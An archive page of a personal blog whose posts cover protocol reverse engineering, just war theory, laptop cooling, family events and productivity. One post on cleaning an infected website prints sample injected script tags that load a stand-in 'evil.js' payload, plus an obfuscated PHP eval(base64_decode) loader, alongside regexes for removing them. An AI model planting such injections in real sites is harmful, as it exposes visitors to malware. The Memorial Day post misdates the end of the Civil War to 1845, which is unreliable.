All ‘Personal’ Posts

Reverse Engineering a Protocol

No Gravatar

A QUICK ASIDE before the rest of the post: Today marks six years since I met my wife. Six whole years! We’ve only been married just over 10 months so far, but it’s been absolutely incredible and I know I have a lot more to look forward to. I love you, Courtney! (She also wrote about this.)

Ahem.

I’ve never really worked with protocols on a byte-by-byte level before, though I have read some data sheets on TCP/IP and the AIM chat protocol as part of a proxy program I intended to write at one time (but never did, because I found an existing program that did the same thing). Simply explained, a protocol is just a particular way of doing something. In the context of a computer, a protocol usually defines a structure of information that some hardware or software uses to send data back and forth. If both ends of the connection understand the protocol, then the information flows and everyone is happy. If either end doesn’t understand, then the connection is useless.

HTTP, for example, is a very common protocol that you use every time you visit a web page on the internet. FTP is a protocol used for transferring files. There are literally thousands of protocols in existence, some of which are widely used and some of which have only a very narrow area of application. Many are free, open standards and have lots of documentation available to describe how they work and how to use them. But some are proprietary and have no freely available info. Sometimes you can’t even pay a person or company for the info, either because they guard it too closely or they aren’t around anymore to explain it.

For a project that is actually related to something my mom is doing, I’ve had the opportunity over the last weekend to try to reverse engineer one of these proprietary protocols. I’ve made good progress so far, but I’m not done yet. The device is a stenography machine, and it uses a serial port to send keypress information and other data to the computer. Neither my laptop nor desktop even have a built-in serial port—the technology is too old and most people don’t need it anymore for normal computer usage. However, USB-to-serial adapters are easy to come by and fairly inexpensive, so I got one in the middle of last week and set to work.

To learn the details about a serial protocol, you need a few things:

That last item is kind of ambiguous, but if you look at a set of strings of bytes represented in hexadecimal format and have absolutely no clue where to start, then this may not be the project for you. It is important to be able to recognize which bits stay the same and which ones are different, and to know how to look for things like boundary markers, sequence numbers, and checksums.

Also, having a program that already talks to the device is critical. If all you have is a terminal program, you probably won’t be lucky enough to have the device respond to English-like commands, or even technical ones that seem reasonable. If you have a program that communicates to the device, then you have someplace to start. Use that in combination with the monitoring software to gather as much information as possible about which information packets correspond to which actions, buttons, or events in the software or on the device.

The interesting thing I have discovered first-hand with this is that you really don’t need to know what everything means in order to make something useful. It just needs to work. I’m almost there, too…only one more hurdle to overcome before I have a working proof-of-concept application to experiment with. Coincidentally, the hurdle isn’t even in the protocol, as far as I can tell; there’s a bug in my application that is breaking the captured response data under some set of circumstances that I haven’t figured out yet.

I do love a good challenge though.

Memorial Day and Just War Principles

No Gravatar

In light of the fact that Monday is Memorial Day, and with people’s thoughts being directed towards those who have died fighting in wars, I propose a thought experiment about the idea of a Just War. I directly lifted the following summaries of Just War ideas from Wikipedia, because they seem clear enough:

Jus ad bellum (Right to Wage War)

  1. Just cause: The reason for going to war needs to be just and cannot therefore be solely for recapturing things taken or punishing people who have done wrong; innocent life must be in imminent danger and intervention must be to protect life. A contemporary view of just cause was expressed in 1993 when the US Catholic Conference said: “Force may be used only to correct a grave, public evil, i.e., aggression or massive violation of the basic human rights of whole populations.”
  2. Comparative justice: While there may be rights and wrongs on all sides of a conflict, to override the presumption against the use of force, the injustice suffered by one party must significantly outweigh that suffered by the other. Some theorists such as Brian Orend omit this term, seeing it as fertile ground for exploitation by bellicose regimes.
  3. Legitimate authority: Only duly constituted public authorities may wage war.
  4. Right intention: Force may be used only in a truly just cause and solely for that purpose—correcting a suffered wrong is considered a right intention, while material gain or maintaining economies is not.
  5. Probability of success: Arms may not be used in a futile cause or in a case where disproportionate measures are required to achieve success.
  6. Last resort: Force may be used only after all peaceful and viable alternatives have been seriously tried and exhausted or are clearly not practical. It may be clear that the other side is using negotiations as a delaying tactic and will not make meaningful concessions.
  7. Proportionality: The anticipated benefits of waging a war must be proportionate to its expected evils or harms. This principle is also known as the principle of macro-proportionality, so as to distinguish it from the jus in bello principle of proportionality.

Jus in bello (Conduct During Wars)

  1. Distinction: Just war conduct should be governed by the principle of distinction. The acts of war should be directed towards enemy combatants, and not towards non-combatants caught in circumstances they did not create. The prohibited acts include bombing civilian residential areas that include no military target and committing acts of terrorism or reprisal against civilians.
  2. Proportionality: Just war conduct should be governed by the principle of proportionality. An attack cannot be launched on a military objective in the knowledge that the incidental civilian injuries would be clearly excessive in relation to the anticipated military advantage (principle of proportionality).
  3. Military necessity: Just war conduct should be governed by the principle of minimum force. An attack or action must be intended to help in the military defeat of the enemy, it must be an attack on a military objective, and the harm caused to civilians or civilian property must be proportional and not excessive in relation to the concrete and direct military advantage anticipated. This principle is meant to limit excessive and unnecessary death and destruction.

Jus post bellum (Ending a War)

  1. Just cause for termination: A state may terminate a war if there has been a reasonable vindication of the rights that were violated in the first place, and if the aggressor is willing to negotiate the terms of surrender. These terms of surrender include a formal apology, compensations, war crimes trials and perhaps rehabilitation. Alternatively, a state may end a war if it becomes clear that any just goals of the war cannot be reached at all or cannot be reached without using excessive force.
  2. Right intention: A state must only terminate a war under the conditions agreed upon in the above criteria. Revenge is not permitted. The victor state must also be willing to apply the same level of objectivity and investigation into any war crimes its armed forces may have committed.
  3. Public declaration and authority: The terms of peace must be made by a legitimate authority, and the terms must be accepted by a legitimate authority.
  4. Discrimination: The victor state is to differentiate between political and military leaders, and combatants and civilians. Punitive measures are to be limited to those directly responsible for the conflict. Truth and reconciliation may sometimes be more important than punishing war crimes.
  5. Proportionality: Any terms of surrender must be proportional to the rights that were initially violated. Draconian measures, absolutionist crusades and any attempt at denying the surrendered country the right to participate in the world community are not permitted.

You can read the full Wikipedia article if you like. Now, if you are interested, read the full timeline of U.S. military operations since the inception of the country. It’s quite a list, really.

Memorial Day was unofficially started not long after the end of the Civil War in 1845, though it wasn’t declared to be an official Federal holiday until 1967. In light of that, here is a list of the major U.S. military operations since then—this list is from the above linked Wikipedia article, but I have removed most of the “small” operations:

  • 1968 – Laos & Cambodia. U.S. starts secret bombing campaign against targets along the Ho Chi Minh trail in the sovereign nations of Cambodia and Laos. The bombings last at least two years.
  • 1982-1983 – Lebanon. On September 29, 1982, President Reagan reported the deployment of 1200 marines to serve in a temporary multinational force to facilitate the restoration of Lebanese government sovereignty. On September 29, 1983, Congress passed the Multinational Force in Lebanon Resolution (P.L. 98-119) authorizing the continued participation for eighteen months.
  • 1983 – Grenada. Citing the increased threat of Soviet and Cuban influence and noting the development of an international airport following a bloodless Grenada coup d’état and alignment with the Soviets and Cuba, the U.S. launches Operation Urgent Fury to invade the sovereign island nation of Grenada.
  • 1983-89 – Honduras. In July 1983 the United States undertook a series of exercises in Honduras that some believed might lead to conflict with Nicaragua. On March 25, 1986, unarmed US military helicopters and crewmen ferried Honduran troops to the Nicaraguan border to repel Nicaraguan troops.
  • 1983 – Chad. On August 8, 1983, President Reagan reported the deployment of two AWACS electronic surveillance planes and eight F-15 fighter planes and ground logistical support forces to assist Chad against Libyan and rebel forces.
  • 1987-88 – Persian Gulf. After the Iran-Iraq War resulted in several military incidents in the Persian Gulf, the United States increased US joint military forces operations in the Persian Gulf and adopted a policy of reflagging and escorting Kuwaiti oil tankers through the Persian Gulf, called Operation Earnest Will. President Reagan reported that US ships had been fired upon or struck mines or taken other military action on September 21 (Iran Ajr), October 8, and October 19, 1987 and April 18 (Operation Praying Mantis), July 3, and July 14, 1988. The United States gradually reduced its forces after a cease-fire between Iran and Iraq on August 20, 1988. It was the largest naval convoy operation since World War II.
  • 1989-90 – Operation Just Cause, Panama – On December 21, 1989, President Bush reported that he had ordered US military forces to Panama to protect the lives of American citizens and bring General Noriega to justice. By February 13, 1990, all the invasion forces had been withdrawn. Around 200 Panamanian civilians were reported killed. The Panamanian head of state, General Manuel Noriega, was captured and brought to the U.S.
  • 1990 – Saudi Arabia. On August 9, 1990, President Bush reported that he had ordered the forward deployment of substantial elements of the US armed forces into the Persian Gulf region to help defend Saudi Arabia after the August 2 invasion of Kuwait by Iraq. On November 16, 1990, he reported the continued buildup of the forces to ensure an adequate offensive military option. American hostages being held in Iran.
  • 1991 – Operation Desert Shield and Operation Desert Storm (Persian Gulf War). On January 16, 1991, U.S. forces attacked Iraqi forces and military targets in Iraq and Kuwait in conjunction with a coalition of allies and under United Nations Security Council resolutions. Combat operations ended on February 28, 1991.
  • 1991 – Iraq. On May 17, 1991, President Bush stated that the Iraqi repression of the Kurdish people had necessitated a limited introduction of U.S. forces into northern Iraq for emergency relief purposes.
  • 1992 – Kuwait. On August 3, 1992, the United States began a series of military exercises in Kuwait, following Iraqi refusal to recognize a new border drawn up by the United Nations and refusal to cooperate with UN inspection teams.
  • 1992-2003 – Iraq. Iraqi No-Fly Zones The U.S. together with the United Kingdom declares and enforces “no fly zones” over the majority of sovereign Iraqi airspace, prohibiting Iraqi flights in zones in southern Iraq and northern Iraq, and conducting aerial reconnaissance and bombings. (See also Operation Southern Watch)
  • 1992-95 – Somalia. “Operation Restore Hope” Somali Civil War On December 10, 1992, President Bush reported that he had deployed US armed forces to Somalia in response to a humanitarian crisis and a UN Security Council Resolution. The operation came to an end on May 4, 1993. US forces continued to participate in the successor United Nations Operation in Somalia (UNOSOM II). (See also Battle of Mogadishu)
  • 1993–Present – Bosnia-Herzegovina.
  • 1993 – Macedonia. On July 9, 1993, President Clinton reported the deployment of 350 US soldiers to the Republic of Macedonia to participate in the UN Protection Force to help maintain stability in the area of former Yugoslavia.
  • 1994-95 – Operation Uphold Democracy, Haiti. U.S. ships had begun embargo against Haiti. Up to 20,000 US military troops were later deployed to Haiti.
  • 1995 – Operation Deliberate Force, Bosnia. NATO bombing of Bosnian Serbs.
  • 1998 – Operation Desert Fox, Iraq – U.S. and British forces conduct a major four-day bombing campaign from December 16–19, 1998 on Iraqi targets.
  • 1998 – Operation Infinite Reach, Afghanistan and Sudan. On August 20, air strikes were used against two suspected terrorist training camps in Afghanistan and a suspected chemical factory in Sudan.
  • 1999-2001 East Timor. Limited number of U.S. military forces deployed with the United Nations-mandated International Force for East Timor restore peace to East Timor.
  • 1999 – Operation Allied Force – NATO’s bombing of Serbia in the Kosovo Conflict.
  • 2001 – Afghanistan. War in Afghanistan. The War on Terrorism begins with Operation Enduring Freedom. On October 7, 2001, US Armed Forces invade Afghanistan in response to the 9/11 attacks and “begin combat action in Afghanistan against Al Qaeda terrorists and their Taliban supporters.”
  • 2003 – 2003 invasion of Iraq leading to the War in Iraq. March 20, 2003. The United States leads a coalition that includes Britain, Australia and Spain to invade Iraq with the stated goal of eliminating Iraqi weapons of mass destruction and undermining Saddam Hussein.
  • 2004 – War on Terrorism: US anti-terror related activities were underway in Georgia, Djibouti, Kenya, Ethiopia, Yemen, and Eritrea.
  • 2006 – Pakistan. 17 people including known Al Qaeda bomb maker and chemical weapons expert Midhat Mursi, were killed in an American MQ-1 Predator airstrike on Damadola (Pakistan), near the Afghan border.[9][10] However, statements by U.S. and Pakistani officials reported in September, 2007 disclosed that that none of those al-Qaeda leaders perished in the strike and that only local villagers were killed.
  • 2009 – Pakistan, In relation to efforts in Afghanistan, U.S. Forces struck an insurgent encampment in the Northern mountains, killing 24, with missiles fired from an unmanned aerial assault vehicle.

What on earth have we been up to? And, much more importantly, why? Answering those questions could take more than a lifetime, so I won’t really try right now. But think about Just War principles, and think about the wars or individual battles that you might actually know something about. Do the principles line up with history? How many things have we done that we had no business doing?

Or, to put it another way:

  • Is the idea of a “just war” as describe above missing any principles?
  • Are any of the existing principles incorrect?
  • Can you think of a war that you consider “just” that wouldn’t be classified that way by the above ideas?

Spend some time answering those questions, and you might have a more pensive Memorial Day amidst all the barbecues and such.

Cleaning Website Malware with Regular Expressions

No Gravatar

I recently had the enjoyable task of cleaning up a website that had been infected with malware. A friend’s site had suddenly started generating that oh-so-friendly browser warning—you know, the one with the bright red background and the big message that says “Warning: Visiting this site may harm your computer!” Not only does this problem basically kill your search engine rankings, but it also undermines any confidence in your company or product. So, obviously, she wanted it cleaned as soon as possible.

Originally, since the main portion of the site is hosted through Ning social network, I thought that a rogue user (or smart bot) had created a profile with links to malware sites, and that profile had been around long enough that Google picked up on it and labeled the site as evil. However, I should have known that Google is smarter than that. Merely having clickable links to evil sites won’t cause them to flag a site as hosting malware. Good thing, too, since that would implicate many perfectly clean blogs and forums whose comments aren’t completely moderated.

Actually, browsing to nearly any page on the entire site caused not only the malware warning, but if you ignored that and proceeded anyway, you would also be redirected to one of many nefarious sites and be bombarded with popups (or popup attempts, if you have a good browser). There is a non-Ning portion of this particular website as well, and that exhibited the exact same symptoms. So, I downloaded the entire website over FTP into my IDE and began looking through some of the files. It was immediately apparent that there was a rampant web-based infection in nearly every file that a normal visitor might touch with their browser. Something evil had access to the hosting account.

Step one, after downloading the whole site, was to change the control panel and FTP passwords. Obvious enough, and fortunately easy. But what about cleaning the 4,000+ PHP, Javascript, and HTML files without destroying anything valuable?

Well, if you happen to have an exact original copy of the entire site, and you can clean it out and re-upload it, then I congratulate you. That’s definitely the easiest solution. But what if you don’t? What if you only have the infected version, and there is no clean master copy?

Use regular expressions, of course! (I love that comic.)

Web malware is most effective (at being evil) if the original website content remains more or less intact. That gives it at least a thin layer of legitimacy by which to fool many visitors and somewhat limited search engines. This, in turn, means that if the malware has infected HTML files, the original HTML should still be there along with rogue tags. The same is true for Javascript and PHP files. Each type of file has a unique kind of evil code. Obviously, throwing plain HTML into a .js file won’t do a lot of good (or bad, depending on your viewpoint).

For this particular infection involving PHP, HTML, and JS files, each evil tag looked something like this:

  • HTML:
    <script src=http://somebadsite.com/evil.js></script>
  • Javascript:
    document.write('<script src=http://somebadsite.com/evil.js></script>');
  • PHP:
    <?php eval(base64_decode("PHNjcmlwdCBzcmViYWRzaXRlLmNvbT48L3NjcmlwdD4=")); ?>

There is a particular pattern to these, which helps us clean them out automatically. Notice the obfuscation in the PHP code, for one thing. They use base64_decode() to hide the true code. But how often does anyone legitimately use eval() and base64_decode() in their PHP code? Not often, I’d guess. Also, notice the lack of quotes around the script’s src attribute value. That’s bad form, and hopefully your code doesn’t look like that.

Here are the regular expressions that I used to wipe out the entire infection. You need an IDE, editor, or shell script that will apply these to an entire source tree recursively. I use PhpED, but I know others will do the trick. Also, it is a very good idea to try find alone before you try replace, in case you have legitimate code that these regexes match. Don’t just assume these will work without testing. They worked beautifully for me though. If your site uses languages other than PHP, JS, and HTML, you may need to modify or add to these. Also, to clean the infection, anything that matches should be replaced with a nothing (i.e. deleted).

  1. /<\?php\s*eval\s*\(\s*base64_decode\s*\(.*?\)\s*\)\s*;\s*\?>/mi
  2. /document\s*\.\s*write\s*\(\s*'<script\s*src=http.*?<\\\/script>\s*'\s*\);\s*/mi
  3. /<script\s+src=http.*?<\/script>/mi

Pay special attention to the last one in this list, since it will kill any <script> tags that don’t have quotes around the src attribute, have the src attribute immediately following the tag name, and have an absolute source reference. If you write your JS code this way, then be very careful with that one. Again, try running a global find with these expressions before you run a global replace, or you very well may be sorry.

Anyway, after my IDE cleaned over 4,000 infected files with those three regexes, I re-uploaded the entire site and submitted it for review using Google’s webmaster tools. That was only last week, so the warning hasn’t been removed yet, but the site functions perfectly and there are no more attempted redirects or popups.

Thinkpad T61 Heat Problem Fix

Thinkpad T61 Keyboard
No Gravatar

I’ve had an issue with laptop heat recently. For the last few months, my trusty Thinkpad T61 has been unpleasantly warm all the time, and unbearably hot some of the time, for no good reason. It seemed to start happening around the same time I installed Windows 7 (switching from Ubuntu 9.10), so part of me assumed it was some incompatible bit of power management code. But after it got to the point where I would intentionally keep my hands off the palm rest and only use my fingertips to type because my hands would get uncomfortably hot, I knew it had to be something else.

In short, the problem was that the cooling system was doing a very bad job. With no active programs running and the CPU on automatic throttling, the idle core temperature was staying between 60 and 62 degrees Celsius. I tried to find out what other people’s idle temperature was running Windows 7 64-bit, but couldn’t find anything conclusive. Most people were just discussing full load or GPU temperatures during gaming. So, here’s an answer for anyone wondering:

The idle core temperature of a Thinkpad T61 Core 2 Duo laptop running Windows 7 64-bit should be between 45 and 50 degrees Celsius.

Here’s the list of things I did in order of ease. This is a good list to do if your laptop is too hot; just stop going down the list once you’re satisfied.

  1. Make sure nothing is eating CPU cycles—check Task Manager or Resource Monitor.
  2. Make sure your power management isn’t set on maximum performance if you don’t need it.
  3. Make sure your cooling system isn’t set on minimum noise, as this restricts fan usage.
  4. Use a can of PC duster gas to clean out the ventilation system. This is best to do from the inside out, which usually means taking the keyboard off. If you just blow right into the fan grill, the dust can’t really go anywhere.
  5. Fix the cooling system:
    • Remove the CPU cooler (this is not usually very easy).
    • Clean off the CPU, GPU, and northbridge chip (wherever the cooler makes contact) with alcohol and a Q-tip.
    • Clean off the cooler as well, so there is nothing but clean metal and chips left.
    • Apply new thermal paste (such as Arctic Silver 5) to the chips and attach the CPU cooler again, making sure it’s making solid contact with all the chips.

It was the last one that really did it for me. The old thermal “paste” was past its prime, and wasn’t transferring heat very well. The new stuff is obviously much better. My idle temperature is now usually 47 degrees, a solid 15 degrees cooler than it was before. It was totally worth it. It’s never too hot, and it’s never uncomfortable during normal use. Sometimes it even hovers at 44 degrees.

You might need a guide for the last two steps, since taking apart a laptop isn’t always intuitive. Thinkpad manuals are available online at their Hardware Maintenance Manual repository.

UPDATE: someone has pointed out to me that the power management settings are not present on some laptops. That’s true, depending on your laptop manufacturer, the OS you have installed, and whether or not you have the manufacturer’s special software installed. Many companies provide this for free for Windows, and some of them for Linux as well. I believe Macbooks typically include everything. The bottom line is that if you can’t find anything to change those performance settings, try Googling “[laptop model] power management” and see what you find.

Blue Ridge 2010 Handbell Festival

No Gravatar

I’m currently riding in the back of a van up from Flat Rock, NC on the way back from a two-day handbell festival. I’m a bit worn out after the event, and I’m writing this post from my phone, so this might be a little shorter than usual.

The festival was pretty awesome. It was the first one I’ve been to, and just the experience of listening to (let alone playing with) 190 other handbell players is quite an aural treat. If you’ve never played or heard handbell music, it’s a little harder to appreciate, but that performance was just incredible. Different types of music appeal to and affect people in all sorts of ways, but this stuff is hard not to love. As a handbell ringer, particularly in the bass bell range, I know that it’s easy to physically feel the music. But if you really get into it, it’s quite an emotional high as well. Some of the sounds you can make are so unique, so beautiful, that it’s impossible not to love it. Wow. After I get home, I’ll try to post some links to the videos we got.

For now, I’m off to let my Applebee’s settle and finish off this long drive home.

A Baseless Theory on Time Travel

No Gravatar

Time travel has always been intriguing to me—and to lots of other people as well, judging from the number of movies and books that have been written on the subject. I will not pretend to understand all of the theories that have been espoused so far. I won’t even pretend to know any of them, because honestly, I don’t. I did have three semesters of physics in college though, and some of it was on relativity, which is tangentially related to time travel, but that doesn’t really make me more qualified than any other random dude. Watching some Doctor Who episodes has piqued my interest again.

Before we go any further, I want to make it clear that my ideas are in no way based on firm scientific principles. I would have a hard time defending them beyond what I’m writing here. I’m only writing this because it’s interesting to me. I would almost admit to trolling for feedback…but that sounds a little harsh, so I won’t say it.

Ahem.

If time travel is possible, it is only possible one way: forward.

If backwards time travel were possible, we would know by now. Even if future knowledge and memories were somehow erased upon backwards travel through time (why would they be?), other people would still remember new people popping up out of nowhere and document it somewhere. Backwards travel through time also creates the opportunity for paradoxes, the simplest of which is known as the Grandfather paradox.

If you can travel only forward, then there are no more paradoxes. You can only disappear one moment and re-appear later, never earlier. It’s the same idea as teleportation, only with a gap between the start and end points in time.

I’m not saying that time travel is possible, but only that if it is, it makes sense that such a limitation would exist.

Hmm.

Libertarian Seed Extract

No Gravatar

Richard Maybury has a very, very concise statement that embodies the basis of Libertarianism as I understand it. Boiled down from old English Common Law, Maybury calls this the “Two Laws,” and the statement forms the basis for tort law and some criminal law:

“Do all you have agreed to do, and do not encroach on other persons or their property.”

Think about that for a moment. What would happen if the federal and state governments were reduced to the absolute minimum necessary to enforce those two laws? I realize that is unacceptably vague language to fully run a legal system, but at least the basis for everything I can think of really wanting the government to be in charge of is all contained in it. Defense, property ownership rights, contract liability.

My simple question is this: Does this fall short? Should government have control to enforce laws that fall outside those general categories?

Note that this doesn’t cover education, healthcare, welfare, the money supply, gay marriage, or many other areas that the government currently manages (or, shall we say, attempts to manage). While obviously based on moral principles, the application of these two laws is strikingly amoral. For government, which I believe should be as small as possible, is it a mistake to go that far?

Good Fences Make Good Projects

No Gravatar

I spent a few hours today working with my brother Jason and my dad building a fence in his back yard. Actually, the fence is kind of defining the back yard into its own area. He needs someplace for his kids and dog to play with less supervision than is required when there are no fences whatsoever (which is the current situation). Back at my parents’ house in California, we built (or re-built) the fences around our yard a few times throughout the years, so Jason has a pretty good idea of how to get it done. But Dad’s experience is invaluable as well, and he was kind enough to fly out for a week to help—and visit with everyone, of course.

I usually just sit at a desk all day working on computers, so building a fence is a little more physical than what I’m used to, but I still enjoyed it quite a bit. It’s nice to get to work on something tangible every now and then, and being outside is great. Plus, today was just perfect for working outside: just cloudy and breezy enough to keep us from getting too hot.

They got the posts set in cement yesterday, so today we mostly worked on the frame. With the exception of one area in a different part of the yard, we got the whole fence framed. Jason even got a couple of fence boards nailed up. They’ll be getting the rest of them up in the next few days. Until then though, my awesome nephew Josh is having a great time climbing on the framework. He just turned two last Friday.

It’s really great to have my dad out here visiting, even if it is only for a week.

My schedule has been crazy busy the last week, and though I have made considerable headway, my aforementioned very long blog post is still not complete. Soon though, very soon!

My Brother’s Best Man’s Wedding

No Gravatar

I’ve spent the last two days up in Dunkirk, New York for my friend Ethan’s wedding, which took place earlier this afternoon. Ethan was actually the best man at my older brother Jason’s wedding, for those of you who don’t know, and he’s a really great guy. Jason’s family and Courtney and I drove up yesterday from Roanoke and got to spend some time with Ethan’s family, help get a couple of things ready, and take part in the rehearsal as well (Jason is one of Ethan’s groomsmen). Aside from a couple of very short visits from one or two family members, I haven’t been able to see Ethan and his whole family since some time in the early 1990s, so it was great to catch up. They’ve (EDIT: Ethan’s parents—thanks Jason) had a couple more kids since that time, and the one who was a three-year-old is now taller than I am. I guess that’s what that many years will do.

The weekend has been really, really busy, and now we’ve got another 10-hour drive ahead of us starting early in the morning tomorrow, so I’m not going to be able to finish the blog post I’d hoped to get to. I’ve been working on a long one on and off all week, and I’m just not quite happy with it yet. I may post it next week, or if I finish it first, maybe in the middle of this week.

So, as a parting gift, I present to you what is undoubtedly the best action shot I got all day today. Ethan and Ashley narrowly escaping the church with their lives, him so valiantly protecting her and both of them running like mad. I just happened to be tracking them right on so it was in focus.

Congratulations, Ethan and Ashley!

The Next-Do List

No Gravatar

I have a million projects going on all at the same time.

Okay, maybe not a million. I did make a list recently though, and I came up with eight significant ongoing projects that are all outside of my regular official job. The list included side jobs, personal projects, and school projects (with Courtney). It didn’t include things like “take out trash” or “buy batteries” or things like that. My goal was to identify the things in my life that require a significant time investment over a long period of time. These are the projects that weigh on my mind when I think about them, and think about how much I have left to do on each one.

Even if you only have one such project in your life at the moment, it is really easy to feel overwhelmed. I have eight of them, and in the last two days, I’ve come up with two more that I might need or want to add. Some of you may have even more, if you were to make a list. Lists help bring clarity to a vague feeling of dread, but even if you have a list, it’s really easy to get discouraged by a lack of noticeable progress. The more stuff you have to do, the more impossible it seems to accomplish any of it, let alone all of it.

So how do you turn a monster list (or vague sense of suffocating responsibility) into something manageable?

One approach (which has a lot of merit) is to break apart each large task into many smaller tasks, which are easy to grasp and accomplish. Simply repeat the process for any “sub-tasks” that are still too large for a single bite of time, and you will end up with an outline describing the whole project in very small pieces. This works out wonderfully in the planning stage and creates something you can refer to at any time. However, it still leaves you with a very long and potentially intimidating list of 100 small things instead of 10 big things.

Depending on your personality, that may be just fine for you. If you can work effectively off a multi-project outline like that, then by all means, go ahead. My own ability to make progress from that sort of list depends on some unfortunately subjective things, like my mood and rapidly fluctuating interest level, as well as my availability at any given time.

So what else can help change an intimidating list into a manageable one?

For me, it is critical to add focus to the detail. I rarely have trouble with the detail part—creating the outline I described above. I can break apart big tasks into ridiculously small pieces if I need to without much difficulty. But a detailed project outline doesn’t give much direction in itself; there is no inherent focus in an outline. It’s really easy to add though. Just look through your outline and pick the next thing that you need (or want) to do to make progress on the project. That’s it. The beauty of this approach is that you can even skip the whole outline process if you need to. For really complex projects, I wouldn’t advise it, but for most things, you can get away with focusing only on the next small task for any given project.

This is what I call a Next-Do List. Instead of the traditional to-do list, which usually aims to catalog everything you need to do (large or small), the next-do list is only for big projects, and it includes only the next small task to accomplish. This means that the list will always be short, and will always tell you exactly what to do to make progress, no matter how large the project is.

In order to use a next-do effectively, it is important to follow only two rules:

  1. For each project, have only one task on the list.
  2. When you complete a task, replace it with the next most important small task (either from your project outline, or just think of it on the spot).

You can do more than one task at a time if you want, but it might also be helpful to limit yourself to one task for each project at a time. This ensures that you don’t fall into the “oh-no-too-much-stuff” trap again. It is important to set boundaries on yourself that will keep you from feeling powerless.

Of course, this kind of list doesn’t give you a complete picture of a project, but you don’t always need to see that. In fact, it’s often easier not to see that, if you’re the type to become overwhelmed with multiple and/or large projects. Just think of each task as a battle, and if you win the battles, you will eventually win the whole war even if it takes a very long time. You can have one really good strategy session (outlining your projects), but then switch to tactical mode. That’s when things actually get done.

Give it a shot if you feel so inclined. You may end up getting a lot of stuff done.